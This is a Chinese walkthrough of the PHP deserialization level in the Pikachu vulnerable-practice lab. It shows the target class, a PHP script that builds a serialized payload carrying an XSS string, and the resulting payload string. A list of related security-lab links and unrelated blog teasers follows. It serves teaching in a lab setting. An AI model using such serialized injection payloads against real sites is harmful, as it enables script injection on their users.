Pikachu漏洞靶场 PHP反序列化
PHP反序列化
查看源码,以下为关键代码:
class S{
var $test = "pikachu";
function __construct(){
echo $this->test;
}
}
首先是一个PHP类,里面有一个变量test;还有构造函数__construct(),它输出本实例的test变量值。
当使用 new 关键字实例化一个对象时,构造函数将会自动调用。
构造payload
<?php
class S{
var $test = "<script>alert('xss')</script>";
}
$c = new S();
echo(serialize($c));
?>
运行:

得到payload:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
在网站提交准备好的payload,反序列化成功利用:

Pikachu漏洞靶场 PHP反序列化的更多相关文章
- Jenkins高危代码执行漏洞检测/开源漏洞靶场
漏洞细节可以参看安全客的文章:https://bbs.ichunqiu.com/thread-22507-1-1.html Jenkins-CLI 反序列化代码执行(CVE-2017-1000353) ...
- upload-labs 上传漏洞靶场环境以及writeup
一个帮你总结所有类型的上传漏洞的靶场 https://github.com/c0ny1/upload-labs 靶场环境(基于phpstudy这个php集成环境) https://github.com ...
- web渗透漏洞靶场收集
最近将自己遇到过或者知道的web靶场链接奉上 0X01 DVWA 推荐新手首选靶场,配置简单,需下载phpstudy和靶场文件包,简单部署之后即可访问. 包含了常见的web漏洞(php的),每个漏洞分 ...
- kali中安装漏洞靶场Vulhub(超详细)
前言 我们都知道,在学习网络安全的过程中,搭建漏洞靶场有着至关重要的作用.复现各种漏洞,能更好的理解漏洞产生的原因,提高自己的学习能力.下面我在kali中演示如何详细安装漏洞靶场Vulhub. 什么是 ...
- kali中安装漏洞靶场Vulhub
一.什么是vulhub? Vulhub是一个基于docker和docker-compose的漏洞环境集合,进入对应目录并执行一条语句即可启动一个全新的漏洞环境,让漏洞复现变得更加简单,让安全研究者更加 ...
- 文件上传漏洞靶场分析 UPLOAD_LABS
文件上传漏洞靶场(作者前言) 文件上传漏洞 产生原理 PASS 1) function checkFile() { var file = document.getElementsByName('upl ...
- Pikachu漏洞练习平台实验——php反序列化、XXE、SSRF(九)
1.序列化和反序列化 1.1.概述 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数. 序列化serialize()序列化说通俗点就是把一个对象变成 ...
- Pikachu漏洞练习平台实验——RCE(五)
1.概述 RCE(Remote Command/Code Execute) 给攻击者向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行一般出现这种漏洞,是因为应用系统从设计 ...
- 漏洞复现-CVE-2016-4437-Shiro反序列化
0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)(兼顾反弹shell的攻击机) 0x01 影响版本 Shiro <= ...
- 文件上传漏洞靶场:upload-labs安装及第一关教程
注:本文仅供学习使用,请勿用于非法操作,后果与作者无关!!! 一.简介 upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场.旨在帮助大家对上传漏洞有一个全 ...
随机推荐
- Mybatiplus通用3.5.1版本及其以上的代码生成器工具类
Mybatiplus通用3.5.1版本及其以上的代码生成器工具类 package com.gton.util; import com.baomidou.mybatisplus.annotation.F ...
- GO语言基础之基本运算符
GO语言基础之基本运算符 目录 GO语言基础之基本运算符 一.运算符 内置运算符: 二.算术运算符 三.关系运算符 四.逻辑运算符 五.位运算符 六.赋值运算符 一.运算符 作用:运算符用于在程序运行 ...
- docker入门加实战——docker安装并配置阿里云加速
docker入门加实战--docker安装并配置阿里云加速 为什么要学习docker 在开发和部署项目的过程中,经常会遇到如下问题: 软件安装包名字复杂,不知道去哪里找 安装软件和部署项目步骤复杂,容 ...
- Docker 安装 Redis 单机&集群总结
前言 Redis 是一个开源的使用 ANSI C 语言编写.遵守 BSD 协议.支持网络.可基于 内存 . 分布式 .可选持久性的键值对( Key-Value )存储数据库 redis版本:redis ...
- Cloud Bursting解决方案,Serverless容器降本增效极致体验
本文分享自华为云社区<DTSE Tech Talk | 第42期:Cloud Bursting解决方案,Serverless容器降本增效极致体验>,作者:华为云社区精选. 线下IDC自建K ...
- OI-note
版权声明:仅供学习. 持续更新中...也算是个人学习的监督与激励吧. OI路漫漫,且行且珍惜. OI太颓了,模拟赛都打不动,班级全是大佬. 算法综合 \(Algorithm\) 杂题综合 Index ...
- OA、CRM、SCM、ERP之间的区别和联系是什么?
当然,各个系统之间要集成.集成之后的东西,不叫做ERP.做ERP的人说叫ERP,做PLM的人说叫PLM,卖OA的人更愿意叫OA.其实,那个集成之后的东西,啥也不叫. 英文名 中文名 百科释义 关注 ...
- SNN_文献阅读_Recent Advances and New Frontiers in Spiking Neural Networks
Recent Advances and New Frontiers in Spiking Neural Networks 基本要素:包括神经元模型.神经元中脉冲序列的编码方法.神经网络中每个基本层的拓 ...
- Python入门--字符串
字符串的使用和C语言 .java中一致 .使用" "(双引号)并且字符串可以与数字相乘,表示我使用这个字符串次数 字符串的连接:'+' Python中的变量直接赋值即可 ,如果赋予 ...
- JavaSript 数组
添加数组 push是添加在数组的末位,unshift是添加在首位 let arr= ['a','b','c'] arr.push('d') arr.unshift('E')